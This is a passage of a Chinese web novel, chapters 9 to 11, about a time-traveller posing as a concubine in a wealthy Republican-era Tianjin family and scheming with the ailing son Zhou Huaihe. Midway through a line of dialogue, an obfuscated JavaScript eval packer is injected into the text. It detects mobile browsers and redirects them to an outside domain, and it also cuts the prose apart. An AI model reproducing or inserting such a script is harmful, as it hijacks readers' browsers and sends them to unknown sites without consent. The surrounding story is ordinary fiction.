按照历史,周怀鹤是因为跟自己偷情被捉奸,沉了湖,虽然不知道为什么被沉湖的是他,但这是一个关键点,自己需要按照发展跟他偷情,活到周怀鹤死后,再阻止那个给他续命的。 最重要的不是周怀鹤生还是死,而是不能有人在他死后给他施法布咒。 程筝托着脸,心想,这个人会是谁? 目光移到大堂中央正在摇电话机转接的芸芸身上。 难道是何师父? 彼时芸芸刚挂完何师父的电话,又叫接线员给她接周怀良公馆的电话机,同周怀良的手下禀明了事由。 挂断电话,周怀良的秘书敲了敲书房的门,见里面还有两个告状的小军官,便静静在一边候着。 那两个人不满控诉:“我们当时也没想到是您父亲新收的六姨太的车,误拦了,那旁边的小丫头还说要告我们的状,担心跟少将之间生了误会,因此我们特此来赔罪。” 书桌上只摆了一盏绿头台灯,一摞批文,一瓶墨水和一支顶开了盖的钢笔。 那钢笔被一只骨节宽大、掌心带厚茧的手攥住,轻晃了晃。 椅子上那人一袭黑色军装,胸前口袋挂着胸徽,腰带紧紧束住腰身,背脊挺得笔直,继续晃不出水的钢笔,漫不经心应声:“知道了。” 见他并无要多问的意思,两个小陆军也不知如何是好,陈秘书了然,做了个“请”的手势,请二人出去。 晃出的墨水溅了他一手,周怀良拿帕子擦手,问陈秘书有什么事要讲。 “周太太要您月底回家一趟,吃便饭。”陈秘书道。 想到恰才两个人说的话,周怀良略一眯眸,问:“我父亲新娶了六姨太回家?” 陈秘书答:“是有听说过。” “哪户人家?” “乡下的佃户,上次王利民来找过您,想用那丫头跟你换个人情,您没收,他转头就驱车循去周老爷那儿了。” 周怀良看看自己擦不干净的手背,剑眉竖起来,提了唇角冷笑,语气凛然:“他倒是打了一副好算盘。” 重新拣起钢笔,他落下一个“可”字。 “月底备好车。” 9.第 9 章 临近晚饭,牌桌上四个人都散了,周太太出门送两位太太上各家的汽车,杨妈回了厨房督促备菜,后院聚着的一群听书的也都各自安排了活儿要干。 王发去厨房催了下,墙角立着两柄炉子,瓦罐里头咕咚咕咚煮着中草药,药渣用纱布滤过,倒进碗里放凉,一边是周老爷的,一边是鹤少爷的。 周怀鹤今晚去天外天赴宴,回来时已是入夜九时,天津卫一片灯火辉煌。 胶皮车从劝业场跑到周公馆,一路瞧过各大商号装的彩色灯光广告,天祥商场、瑞坊斋这种大商号门口的字牌更是刺溜刺溜变着五彩的颜色。 车夫摘了帽子躬身停好车,王发正打着呵欠在公馆大门迎他。 “今儿个这么晚?”王发给他推开乌木栏杆门。 周怀鹤步子都虚浮了,嗓音也寒凉:“我本想是找他谈做空股票的事,那孙立却将他妹妹领来,我将说的正事是连嘴也张不开,白白陪了一顿饭。” 王发猜测:“孙家大少估计是想把妹妹说给你。” “呵。”周怀鹤解了一颗袖扣,往屋里踏,“怕是先问过了我那大哥的意见,见我大哥无意,便又想到我这个偏房的病秧子。” 在盆里净过手以后,他道:“看中的是周家的背景,哪是我这号病歪歪的人物。” 说到病歪歪,王发提醒了一句:“今天后院的老妈子们还在说,你早晨向老爷称病,上午吃过早饭就窜了出去,这戏演得忒假,得亏我三寸不烂之舌替你圆了过去。” 周怀鹤后知后觉记起来自己扯这谎是为了谁,罕见地发了一会儿怔,顺嘴问起:“六姨太呢?” 王发朝楼下望了一眼:“院子里呢,她本事也不小,一下午就跟公馆里的十来个老妈子打成一片了。” 听着,周怀鹤抬指撩开窗帘,视线往外头的花园里落了落。 入夜以后园子里冒上来一股凉气,厨房里吊着一盏黄色电灯,芸芸把药罐盖子掀开,说药温好了,旋即重新拿勺子舀进碗里。 程筝像个闲人,纳闷:“药煮了又凉,凉了又温,好不费劲。” 芸芸义正言辞:“药得提前煮了备着,谁个也不知道那俩人什么时候回来,只得反复热,等人回来以后立马端上去。” 程筝靠在门口,想了想,问:“鹤少爷回了?” “刚上楼,所以才把少爷的药盛出来端上去。” 程筝突然显得殷勤了好多,凑过去对芸芸说:“我正好要上楼休息,我给他捎过去,芸芸你去休息罢。” 芸芸古怪瞧她一眼,道:“你真有这么好?” 程筝瞪大眼:“这叫什么话,我本来就不坏,是你一直看我不对付。” 说着,端了桌台上的药碗,程筝朝芸芸摆手:“去睡罢。” 见芸芸没追出来多问,程筝这才叹口气,施施然攀上楼去了。 她端着碗上楼梯时,王发正好绕下来,瞧了她一眼,问说:“怎么是你来送?” 程筝道:“我正好上楼,顺带的事。” 王发多看她两眼,一字未发给她让了路。 象征性敲了几下门后,屋里闷闷响起一声“进”。 床脚躺着一件白色衬衫,灰色西装裤,皮带和领带都歪斜着垂在阑干上,马上就要掉下来。 她端着药进屋时,周怀鹤正掩着嘴咳嗽,白皙的脸要咳成青白色,妖精一样。 程筝将碗放下,直截了当问他:“这下是真病假病?” 周怀鹤撩眼皮斜睨她,将碗滑至自己跟前儿,道:“你又是真关心还是假关心。” 程筝拖了张凳子出来坐下,理直气壮:“自然是真关心鹤少爷的身子。” 药罐子什么时候能真的生场要死的大病就好了,她也好探探何师父的口风…… 这么想着,她往前凑了凑,询问:“我给你说的那只股,赚了么?” 周怀鹤:“三天后才开市,早着。” “那你怎地明日就要找何师父来,万一我是诓你的呢?” 他抿一口极苦极涩口的中药,翕动发白的嘴唇:“六姨——准六姨太,投名状是双向的。” 周怀鹤刚换了睡袍,两人坐在方桌两面,同上次谈话的座位一模一样。 “其实那只股挣不挣我并不是很在意,我好奇的是另一件事。”他转动瓷碗,“知晓我去交易所的只有王发一人,也并不可能如你上次所说能从后院的老妈子们嘴里听来的,如果后院那群人知道了,这事早就得传进我父亲耳朵眼儿里了。” “如若不是你当天特意跟了我的车,我想不到你是如何得知的,是有人叫你看着我?还是有人叫你看着整个周家?” 周怀鹤不动声色眯一下眼,字字夹枪夹弹,却拎得一副闲适平常的懒腔懒调。 果然,这狐狸精,她撒了个谎立马就被看透了,同他说话真费脑子。 “好吧。”程筝吸一口气。 “其实那天我不问自来时,鹤少爷正在洗澡,那天你的衣服也像——”她指了指床尾阑干上乱搭的衣服,“现在一样乱摆。从你西装外套里掉出一张字条来,我看见上面写了两串股票代码号,所以才知道你在玩股票,” 周怀鹤盯着她瞧,目光不乏审视,程筝笑着摊手:“这次真是实话实说。” “你不像是乡下没念过书的。”他如此评价。 程筝怕再聊下去就露馅,并不想将这火引到自己身世上,继续往回绕:“那鹤少爷说的投名状是什么意思?” “我可以叫何师父出面去跟我父亲拖延,我去交易所的事,也希望你能烂进肚子里。 周怀鹤一面喝药一面皱眉,被苦得不行。 “方士这种玄之又玄的东西,拖上几年都好讲,你想拖几年?” 程筝心说,如果她张嘴就是六年,是不是铁定办不成……周峥那边必定会起疑。 “先说一年吧。”她说道,“中国人喜好凑整,将我凑到二十岁。” 周怀鹤照例剩下半碗药,估计又是要喂进龟背竹的盆土里,他两手交搭,嘴唇被药水沾得湿润,张合起来:“准六姨太倒是贪心,既舍不得周家的荣华富贵,又不甘心陪我父亲,你倒是两头都想占。” 说着,唇角似笑非笑往上挑,分不清是嘲弄还是觉得有趣。 程筝默了一会儿,在周怀鹤起疑抬眼望过来时,故意作里作气道:“鹤少爷猜少了,其实我是想占三头。” 她眼睛笑弯成月牙状:“比起你父亲,我觉得鹤少爷才是天人之姿。” 周怀鹤的唇角猛地一坠,眉头略蹙了蹙,细瘦的指尖捏起碗沿。 “丰神俊朗、气宇轩昂,啧啧啧,年纪也合适,而你父亲都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16120972|178680||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五十了,他撒手人寰时我可正是如花似玉的年纪,比较起来,鹤少爷自然才是更好的选择。” 程筝并不知晓他们之前是怎么搞到一起去的,又是怎么偷的情,可这应该是一个关键线索,她得完成。 可说这话时她完全是强颜欢笑,心里已然哇哇吐一地,被自己说的话腻得打激灵。 末了,还从口袋里掏出一块下午老妈子塞给她的糖块,推了过去。 “我尝过一个,橘子味儿的,就着药一起咽了吧,别把您屋里那盆栽又浇死了。” 从她语出惊人以后,周怀鹤就再没搭理过她,程筝其实也怪不自在,只想赶快离开这地方,蹬开凳子站起来,走到门口时还特地嘱咐了一句:“那我明天就等鹤少爷的好消息。” 片刻后,对着他的龟背竹轻声叹息:“唉,希望你能挺久一些。” 门轻声阖上了,周怀鹤垂眸,羽毛般轻飘的视线落于那橘子味儿糖块上,齿缝里倏地钻出一声冷笑。 聪慧是聪慧,聪慧到将主意打到他头上去了。 他将那糖块儿剥掉。 红杏还没种进来就出墙。 “…………” 隔日,程筝专在屋里等着何师父上门。 家中妇人闲来无事,无非逛街推牌,昨日是周太太的主场,今日就轮到周太太去别家府上打牌,芸芸跟过去伺候着,房子里陡然间安静了。 周峥近些时间的身子不好,除去必须会客的大客户以外,他多数时候都留在家里,程筝不大想同他见面,免不了交涉,劳神费心的,可她又实在想见何师父一面。 周公馆里的何师父是玉玲的师父,照这么说来,回香炉也是这位何师父造的,功力可能比玉玲还深厚,倒真有可能是给周怀鹤续命之人。 可玉玲这时候恐怕还没出生,这何师父的年纪算来算去总不大对,总不至于是姥姥记错了吧。 无论如何,有机会见一面,让她瞧一瞧这何师父是何许人也,也算心里有个底。 片刻后,楼下大堂响起说话声,她以耳贴门,细细听辩,听见几道往上循来的脚步声,正拐弯向周怀鹤的屋子里去。 程筝凝了凝神,整理好表情将门拧开,正撞上走廊里的周峥和何师父。 何师父瞧上去四十有余的年纪,个头矮小,身子消瘦,两颊内陷,确实能品出些仙风道骨的意味在。 见到他时,程筝的心像是在冰水里坠了坠。 这人实在不像能正常活到二十一世纪当上玉玲师父的。 否则就是中间有什么事她还没理清…… 走廊二人正双双看着她,程筝笑笑:“我听见何师父要来,是来对我的八字的吗?” 周峥道:“你的事等等再说。” 何师父上下将她扫量一遍,呈若有所思状。 程筝往东边屋子里飞了个眼神,瞧见屋里那人正病怏怏躺在床上,脸色较昨日更白了些,两人远远对了个视线,周怀鹤冷然挪回眼珠,旋即脸色更苍白了。 简直像是被她那句“天人之姿”给吓到了。 何师父被仆役引进门里去,第一句是夸赞:“鹤少爷的模样确实跟五姨太是一个模子里雕出来的。” 门要关上了,话锋一转,他道:“只是五姨太,唉。” “只怕马上就要客死在香港。” 10.第 10 章 她瞧见屋子里靠在床头的人眼神倏地一凝,如同冬季檐下结的冰锥子。 何师父调转身体,干瘪的身板恰好将程筝的视线挡住,男人微微一笑:“老爷和这位小姐就在外头等着吧,做法的过程要是被人瞧了去,逼出来的邪祟恐怕会窜上旁人的身。” 闻言,周峥往后退了一步,皮鞋擦过地板发出一道刺耳刺啦声,橡木门板就在他眼前关上。 程筝倚在自己屋子门框边儿上,细细想了一下,姥姥并未提及过多有关五姨太的事,只说过此人在香港病逝,周怀鹤为此专去香港给母亲办孝。 周峥转了鞋尖,程筝撞上这人的视线,见他面灰如土,嘴唇皲裂如裂了缝的白墙,甚至于双眼也是往里头凹的,看样子被那病折磨得不轻。 不,应该不能说是“病”——是烟瘾。 昨儿个被芸芸领去花园后的矮屋时,她瞧见过一处漆黑的炉灶,单独劈了一块儿地出来。 听王发讲书的那群人里有个个子矮小,指甲盖和牙齿都黢黑的仆役,她不知此人姓甚名谁,只是猜测他是专给周峥烧大烟的。 这才是这位老爷突生大病,要找人来冲喜的原因。 周峥从她身边绕过,喊她下楼待着,程筝静静端详他的步态,定了一会儿才动身。 周峥还端得一副君子相,袍子虽齐整地理好,可歪在沙发上时他俨然是一副躺惯了烟塌的姿势。 “见过流芳了没。”他慢悠悠开问。 程筝说见过了。 “太太还给我定了新衣裳,分我点心吃。” “嗯。”周峥闲闲应和,若有所思,“有什么缺的,找流芳给你添,今后你应该就住在这里了。” 他伸手够了一盏茶壶过来,“房间就不动了,就住现在这间。” 等了片刻,程筝提醒:“何师父似乎还没有好好推敲我的八字。” “差不多。”周峥极其敷衍,“万一差那么一星半点儿,也用不着走。” 程筝静静坐在原地,周峥眯一双不太清明的眼,道:“这公馆里要是没别个儿,流芳就要作威作福骑我脑袋上了,现在家里人可什么都听她的。” 周峥品完茶,又往沙发上靠,身子微微晃荡,倏然间发出一声冷笑:“看来她只对秋茹有敌意,秋茹死了她就潇洒快活,万事不过心了。” 末了,解释一句:“秋茹是我的二姨太,你倒也没机会再见她。” 程筝不置可否,不对周峥的话作评判,不大想同他讨论周太太品行如何。 男人对自己的妻子总是颇有怨言的,那位秋茹也就是死了,如若没死,落到周峥嘴里恐怕也和现在的周太太没什么两样。 不多时,何师父下了楼,楼上只余周怀鹤一人,悄然无声。 何师父走路的声音也极轻,他立在大厅里,细细瞧了眼程筝的面相,果断下了决断:“这位是程小姐?恰才鹤少爷提过你,说他竟多了位比他年纪还小的母亲,气得快呕血,每日病恹恹连饭都咽不下去。” 虽然她也觉得周怀鹤心气不顺,不过也不至于这样夸张,这描述里有不少添油加醋的成分。 周峥只动了动手指尖儿,也不大关心这鹤少爷的想法,问说:“何师父说说该如何。” 何师父的目光从程筝身上缓慢移开,微微摇头:“周五爷,我认为暂时不适宜娶她进门。” 程筝心下松一口气,看来周怀鹤还算有信用。 “她十九岁,十九为单,单为阳,容易与周老爷的命格冲煞,可以稍微等上一年,修得二零圆满,再考虑正式迎娶。” 周峥拧眉:“等一年,我的病还能拖?” 何师父目光颇有深意,程筝也理解那深意,说白了,周峥的病是自己有烟瘾,他管不住嘴,娶一百个老婆又如何。 只是相士这一行修的就是察言观色的功夫,何师父精明非常,自然不会当着面冲撞周老爷,就算他敢当魏征,周老爷可不见得有李世民的风骨。 “自然是有法子的。”何师父道。 “过段时间正好是天后宝诞,香港天后庙里会办庙会、耍神功戏,我给程小姐三枚铜钱,程小姐捎了去,虔心为五爷祈福,这福报是可以转到五爷头上的。” “偏得叫她去香港?”周峥拧眉道。 “丹桂有香皆结子,青萱无蕊不宜男。”何师父低眉顺眼,哑然:“天后庙里供的是妈祖,自然还是女人去为好。” 他提议周峥娶“zheng”字女子时,说过冲喜本就是以气补气,程筝祈来的福气都会到周峥头上。 何师父这么说,周峥也就这么信,熏黑的指头一挥,叫何师父无事就回去罢。 程筝听完二人有来有回的对话,掀了衣摆站起来,周峥抬目。 她客气笑笑:“我送送何师父,顺便叫师父传授给我几招,叫老爷的病好得快些。” 周峥不作声,移开视线,她脸上挂着笑,跟在何师父身后,一出门脸就垮下。 关上门,离前院大门还有几百米的距离,何师父慢步走过绿茵小道:“程小姐追过来是还有事要问?” 程筝目视前方,问:“叫我去香港祭妈祖,是确有其事,还是楼上那厮唆使的?” 五姨太命不久矣,周怀鹤肯定要立即动身前去香港,这个节骨眼上她也稀里糊涂要去祭妈祖,怕也是太巧了些。 “自然是确有其事。” “但程小姐跟鹤少爷关系似乎不错。”一道陈述语,“他恰才叫我为你说假话,表情虽然难看,但语气跟砖头一样硬的,叫我一定办好。” 何师父鞭着手慢悠悠走路,程筝就跟他一道走,瞧着他即将晃到门口。 程筝平声:“啊,表情难看是因为我昨日刚惹过他,还烦着呢吧。” “我同鹤少爷交往不多,但我记得他很少动肝火,他很惜命,知道气多了对身子不好。” “这么说我还有点儿本事,不过同他开点小玩笑罢了。” “程小姐。”何师父拖着长调子,“有的玩笑开着开着,也许就再也没有解释的机会了。” 程筝不懂他为何突出此言,她只关心着:“如果我祈完福回来,周老爷的身子没有好转,我又该如何自处?” 何师父笑着:“程小姐不是自有办法么。” 程筝一怔。 “银华公司要请梅兰芳先生唱一出《贵妃醉酒》,我就先走了,赶着去听戏,晚了就听不着了。” 他拿手遮了遮太阳,哼着戏曲的调子,夹杂一声:“要变天喽——” 程筝多在大门口站了一会儿,太阳将她的皮肤晒得热烫。 她心说此人不简单。不知道何师父的本事相较于他的徒弟玉玲如何,如果功力深厚,恐怕刚才就看出她是穿过来的“程筝”了。 裁缝铺不过几日就送了衣服来,芸芸理了三五六件送进她屋里,青色软绸长袍,领口绣着花样,还有几件藕荷色缎子裁出来的旗袍,颜色都清丽,估计是考虑到她年纪也不大,用不着配那些大花大叶的。 程筝换了件藕荷色的新衣裳,下楼吃茶时碰着王发从外头风风火火进来,周太太难得没打牌,只叫来几个丫头陪在身边聊闲,见状还怪了一嘴:“怎地这样鲁莽,路都不会走了,满头大汗的。” “鹤少爷催我去购置船票,我近日跑了好几趟,今日才买上,两日后就可以出洋了。” 听见是五姨太的事,周太太转回眸子,呢喃:“近些时候到处内讧,有头有脸的高门大户都紧着买票到香港去,这段时间是难买。” 眼珠子晃过正坐在边上吃茶的程筝,周太太问她:“六姨太衣服备好了?后日你是跟怀鹤一起坐船罢?” 程筝微笑:“是。” 周太太翘腿坐着,捏了块点心吃着消暑:“以前坐过船么?” “没有。” “当心着点儿,备点儿晕船药。” 王发正吃着冷茶,道:“鹤少爷也晕船,我都备着药呢。” “对了,良少爷什么时候回来?” “明日,已经叫杨妈备了菜谱了。” 王发说道:“那我去交代后院的老妈子,明天晚上别彻夜打牌闹动静。” 说罢离去。 周怀鹤好几日闭门不出,不知是因为五姨太还是因为什么别的,有什么事都叫王发跑腿,隔日王发就再次风风火火跑上楼,顶着满额头的汗敲起周怀鹤的房门,彼时周怀鹤正仰靠在椅子上看书,王发反身将门合上,还急吼吼将窗户关上了。 “少爷,我刚去交易所把钱提出来存进洋行里,可我介辈子——” 周怀鹤合了书搁在一边,腿上搭一条刺绣毯子,淡定地叫他将舌头捋直了说话。 王发瞟一眼窗外,压低声音:“我这辈子没见过这么多现钱!” 连本带利回来一百一十七万,程筝说得一点儿没错,新开的西药公司上市后大涨,英国人背后一定没少使劲儿,他这顺风车搭得太及时了些。 “这么多钱存进去,瞒得过老爷么?” 周怀鹤说道:“给你的户头是我姨妈的,他想不到那么远,这笔钱会挪去香港用。” 王发犹豫不决,心底里预感鹤少爷寄回去这么大一笔钱,一定是要掀起什么大风浪。 可他终归只是个开汽车的,过多的事不好细问,在鹤少爷身边做事有的时候就得捂着耳朵眼睛。 “那这次是得好好感谢六姨太。”王发道。 周怀鹤静了一瞬,复而拿起桌上的闲书继续读,也不知在想什么。 “香港那边有回信么?” “还没收到五姨太那边的消息,少爷也别太着急,明日早晨我们就坐船出发,不过一夜功夫就能到香港去,肯定能见到五姨太的。” “对了,一共是三张船票,六姨太与我们同行,周太太还叫我给她安排住处,也不知秦小姐那里有没有屋子给她住。” 王发说的秦小姐就是周怀鹤的姨妈,五姨太病后就跟姐姐秦菡住在一块儿,有个照应。 毕竟当年他母亲跟周峥闹得不大好看,五姨太一个人只身去香港投奔姐姐,在香港生了周怀鹤,周峥是从未问过。 周怀鹤向来知道,这个人满心满腹只有他自己个儿,装不下别个,所以他娶六姨太七姨太八姨太都好,周怀鹤向来不关心,也不会为父亲考虑任何。 不知怎地,他此时此刻又想起上次程筝笑嘻嘻的戏言,脸色难看了一瞬,视线沉沉坠进书本的“之乎者也”里。 楼底下叮哩咣啷直响,王发歇了一会儿脚就欲走,周怀鹤开口问他底下在忙什么,王发说是今晚的家宴。 “良少爷难得回一趟家,太太很是看重,从晌午就忙起晚饭了,连大堂的帘子都拆了重洗,芸芸她们好不抱怨。” 周怀鹤说知道了,闲闲翻了一页书。 是夜八时,周公馆。 门口两个看守挺直了腰板,见车灯晃进来,连忙去拉大门,杨妈等了半晌,终于是见到了人,叫芸芸进里屋去跟周太太说一声。 汽车熄了灯,周怀良躬身下车,宽大的臂弯里托着一只白色的博美犬,还在吐舌尖。 杨妈诧一声:“呦!良少爷何时养的狗?” 周怀良对这小东西无甚感情,伸胳膊叫杨妈抱进去。 “买给我母亲解闷。”他道,“她总抱怨打牌输钱,养只狗就少去打牌。” 杨妈觉着很是新鲜:“太太肯定会喜欢的。” 说着,领着周怀良穿过前院。 “太太可是念叨良少爷半晌,您总不回来,今夜可得好好陪太太说说话,厨房还烧了少爷小时候最爱吃的龙井玉圆。” 临走到头,杨妈倏地止住步子,讪讪道:“对了,今晚六——有位姓程的小姐,也在家。” 周怀良面不改色,语气无甚兴趣:“我听说了,我父亲新娶的姨太太。” 杨妈一面开门一面嘀咕:“还没娶呢,何师父算了八字,说要一年后再娶。” 进门后就冲屋里吆喝:“太太——瞧良少爷给您带的小狗。” 周太太踱步过来,一望见那一团白色毛球,就笑开了脸,马上就从杨妈怀里抱过去。 那时程筝已经饿了许久了,眼见着一群人忙活来忙活去,为了等这位大少爷就是不开饭。 她无聊,坐在沙发上拨玻璃灯台下面挂的流苏坠子,那流苏在眼前晃晃悠悠,背景突地就晃成黑色。 程筝撩着眼皮往上瞧,隔着遮眼的流苏坠子,一张带寒气的,有棱有角的脸就闯进她的视野里。 棱角过多会显凶相,周怀良眼窝深眉骨高,个子高,垂着眼皮向下睥睨她,一袭威武的黑军衣、武装带,脚上踩着一双黑色锃亮的大马靴,腰带里别着一把盒子炮,气势十分唬人。 程筝第一次亲眼见到手枪。 被她拨玩的流苏渐渐晃停了,周怀良这才轻微眨了下眼。 程筝在他不知来意的目光里坐直身子,藕荷色旗袍的领口缝着一排黄铜扣子,亮得反光,缩印着周怀良毫无表情的面庞。 “程小姐?”周怀良略一眯眼,辨认着。 从穿过来以后,还鲜少有人这么叫她。 程筝仰起脸礼貌回视,有问有答:“嗳,良少爷,等你许久。” 等着吃饭呢。 虽然气质完全不同,但这人跟周怀鹤还是有几分相像的,但细说起来又点不明究竟是五官里哪一处像。 不过七个字的对话结束,连打招呼都算不上,杨妈已经开始催:“菜都上完了,良少爷落座罢!我去楼上喊老爷和鹤少爷下来一起吃饭。” 一张长方形胡桃木餐桌,程筝胳膊搭在椅背上,计算着自己应该坐在哪里,或者等人家都坐好了再坐,免得给自己逼到尴尬的位置。 她宁愿是坐周太太边上,也自在点儿。 周怀良倒很有主人意识,扯过离他最近的一张凳子,闷头坐下,背脊离椅背一拳距离,挺直坐着。 “怎么不坐?”口吻生冷,像吩咐惯了人。 程筝深吸一口气,同他隔了一个位置。 周峥跟鹤少爷一起下来,周太太放下那博美犬,白色的狗就满屋子乱跑,撞在周怀鹤脚踝上,绕了几个圈。 周怀鹤皮肤白,眼又浓黑,病得无甚血色的唇轻微一勾,满目温柔地蹲下,颔首挠小狗的下巴颏,静静问:“这是大哥带来的么?” 杨妈解释:“是的,送给太太解闷的。” 周怀鹤轻轻笑:“瞧起来很有精神。” 说完,仿佛风一撩就倒了似的,偏头闷咳两声。 程筝见他如见鬼。 街头巷尾不应该贴那些电影明星的海报,应该将周怀鹤的脸映上去,容貌担得起明星二字,演技也担得起。 他们在屋子里讲话时他哪里是这样一副姿态!程筝现在是完全知道那些老妈子为什么说鹤少爷顶顶善良好讲话了。 可虽然程筝清楚这人狡猾的德行,但杨妈她们自然不知,一人一狗对照起来,叫人扼腕叹息:“怎地大夏天还咳嗽起来了,今晚煮的药少爷可不能再因为难喝就倒了,明日还得坐船,今天需好好休息。” 周怀鹤一派温润如玉的品相:“晓得了,杨妈。” 周老爷跟周太太坐在对面,周怀鹤自然就卡进她跟周怀良中间的那个空位里去了。 饭桌上喝茶也不适宜,今晚温了米酒来喝,太太吩咐厨房做的龙井玉圆也摆在周怀良手边,名字好听,实际上就是龙井茶水煮的鹌鹑蛋,一股茶香幽幽升起,解腻。 可周怀鹤一入座,涩苦的药味儿就绕着她,程筝瞧了他一眼,见此人面色稀松平常,眉头眼梢都无甚兴趣地耷着,像是对这种家宴习以为常。 这形势很明显,周公馆里还是周怀良的份量更重些,毕竟整个家里仅这一人在军中威望颇高。 周太太不断给亲儿子碗里夹菜:“你这套碗筷是我和崇文一起去定的,待会儿吃完饭叫老妈子们洗干净,你明日带回去用。” 程筝不是周家人,对他们之间的寒暄并不很感兴趣,她只顾着自己饿扁的 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“不谢,鹤少爷也帮了我。”程筝道。 他捏了捏指尖,心里盘算着什么,默了几秒,短暂思索着,灯光下的皮肤像半透明的青色的玉。 周怀鹤开口:“我那只是举手之劳,总觉着自己还欠得多,等从香港回来,我可以再应你一个人情。” 甫一说完,他找补条件:“除了那件。” “哪件?”程筝倒不清楚了。 听见她好似完全忘了一般,周怀鹤将唇抿得紧了些,再望向她时,乌亮的眸子里似有一星星怨气。 “说我比我父亲与你更适配的那件事。” 周怀鹤撑着胡桃木桌子站起来,道:“你的主意还是别打在我头上为好。” 程筝一笑:“我就那么一说,鹤少爷竟还当真。” 他眼睫颤了一颤,眉尖又拧动一下。 程筝急着去花园办事,匆匆告辞:“没要紧事我就去后院听讲书了,昨儿个故事正入高潮。” 闻言,周怀鹤顷刻张开嘴,不多时又闭上了。 花园里修了几盏英伦风的路灯,约莫三米高,灯泡很亮,垂下一地花瓣影子。 如她所料,老妈子们各有各的忙,王发在前院洗车,明日捎上行李去码头赶船。 程筝掩耳盗铃地转了几圈,旋即绕去了那一排矮房中的最后一个,大门是紧闭的,她不确定那个烧炉子的小个子男人是不是还在里面,不过刚靠近,就听见里头有细微的噼啪响声。 周峥指使:“你别待在这里,去外头守着,别叫人家靠近这处。” “嗳。” 程筝立马钻到房子侧墙,挡着自己的身影,瞧见小个子男人从屋里出来,蹲在门口。 原来周峥一直躲在这里,怪不得整个周公馆都没看着过他的烟枪。 里头有人,程筝现今没法儿进去,只能先走开,打算等晚一点儿再想办法。 刚离开矮屋,刷完碗的仆役们干完活儿歇下脚来,凳子摆了一排,王发洗完车回来,芸芸催着他讲书。 程筝心说自己总得等着周峥出来,不如就在这儿守着,于是留下跟芸芸坐在一道。 芸芸还叽叽咕咕:“你怎地又来了。” 程筝笑:“我也想听。” 说着想听书,王发没说出个所以然来就有人打岔,那人问王发在香港学没学过英文。 “当然学过,香港人大多都会讲英文。” “那你教我们两句日常的,我上次碰着一个英国佬,一句话都答不上来,被人家拿眼睛剜了一道!” 芸芸颇有学习精神,还专门有个本子记,程筝瞅了一眼,问道:“你认识字母么?” “字母是什么?”芸芸茫茫然。 “那你怎么记?” “王发说什么我就记什么啰,知道一点儿学一点儿。” 她珍惜地摸摸自己的本子,“我姐姐被卖去堂子里以后,我爸爸是打算叫我读书的,只是私塾师父价格忒高,除了教课费还要包伙食,后来就又没请,嗐呀,其实我也知道爸爸就是喝了酒以后那么一说,我家根本没钱给我请教书先生。” 程筝盯着芸芸看了好久,出声问她:“你还想上学么?” 芸芸垂脑袋:“想又如何。” 程筝偏回脑袋。 她自己现在也是寄人篱下,还要考虑周怀鹤跟姥姥之间的事,真不好说有没有那个能力叫芸芸能考学念书。 她只是将这想法在心头过了一遍,复问芸芸:“你本子上的字写得挺整齐的。” “我识得一些字,不多,太太教的,周太太真的是顶顶好的太太。” 程筝笑嘻嘻凑到她跟前儿,眼睛亮亮的,像旁边英伦风的路灯,指着自己下巴问:“芸芸,那我呢?” 这一幕有些似曾相识,小时候程芸菁女士夸别的小孩多乖多听话,程筝都会耍浑凑过去,说“姥姥姥姥那我呢”。 芸芸撅着嘴,拧过脑袋,骂道:“你顶讨厌。” 程筝笑出几声来,逗着:“要是你不说这话,我可以教你说几句英文。” 芸芸一愣,怀疑着:“你怎么会英文?” “我偷学过一些。”程筝撒着谎。 她的英文当然都是初中高中大学学来的,程筝大学六级还考上六百分呢。 说着,夺了芸芸的本子,在新一页写: “Who are you?” “I am” 程筝突然停笔,侧头问:“你全名叫什么?” 芸芸抻着脑袋看本子上几个她不认识的圈和折,默了默,道:“问这个做什么,就说芸芸就行。” 程筝笔尖停了停,慢慢将那句写完。 “I am Yunyun.” 一群人你一嘴我一嘴地聊闲,程筝教芸芸念了几遍,此时周怀良送来的狗不知怎地跑进了院子里,在几个人旁边欢快打转,最后钻进程筝凳子底下趴着。 程筝摸摸它脑袋,觉得这狗的毛长得耷眼睛,还取了自己脑袋上两根夹子把它的毛理了好,然后放它跑走了。 这天儿愈来愈暗,人也该散了,程筝自己个儿又摸回小屋子,见门口的人不在了。 她蹲身躲在窗口又细细瞧了瞧,里头是空的,这才迅速溜进去。 里头只摆了一张烟塌和一台烧得焦黑的炉子,她拎开炉子盖,里头的炭火还是热的,脱鞋将藏着的符纸往里丢的时候还差点被烫到手。 迅速做完,程筝赶忙离开,假装没事儿人一样回了大堂。 二楼,周怀良房间里,周太太还絮絮叨叨说着话,周怀良看着穿藕荷色旗袍的那人最后一个从花园里进来。 他又望了一眼后面那排矮屋,随后将目光收回。 “不早了,您该去睡了罢。”周怀良提醒。 周太太看一眼墙上的钟盒,惊道:“居然这么晚了,你今晚好好休息一下,有什么事就喊杨妈。” 周怀良送母亲离开,随后又在屋子里待了一会儿,开门下了楼。 他刚绕下楼梯,带来的那只博美犬就绕着他跑了几圈,然后趴在他靴子边上。 周怀良视线下坠,蹲下身从狗毛上摘下两只镀银的夹子,放在掌心看了看,认出这是今日程筝头上的夹子。 夹子反光印出他的眼睛,像那颗流苏底下反光的黄铜扣子,周怀良短暂出了一下神。 他顺了几下毛,那狗要逃。 周怀良常年摸枪、武斗摔肩,掌心粗糙,且控制不好力劲,摸狗也不温柔。 “她自己穿得漂亮,将你扮得这样丑。” 那狗冲他龇牙,周怀良唇角是平的,又看了眼狗肚子。 “你还是公狗,威严尽失。” 言罢,周怀良摊开手掌,眸光重新落回夹子上,若有所思。 他想起自己今夜亲眼看着她与父亲一前一后从那矮屋里出来——她与父亲并不相配。 11.第 11 章 杨妈一早就踢踢踏踏踩上楼来,敲响程筝的房门:“衣裳收拾好了么?王发已经在楼下等着了。” 程筝在屋里回:“就来!” 伸手去床头柜上摸卡子,却摸了个空,程筝才想起来自己昨夜将卡子扎在那博美犬的脑袋上了,于是只能散着头发出去。 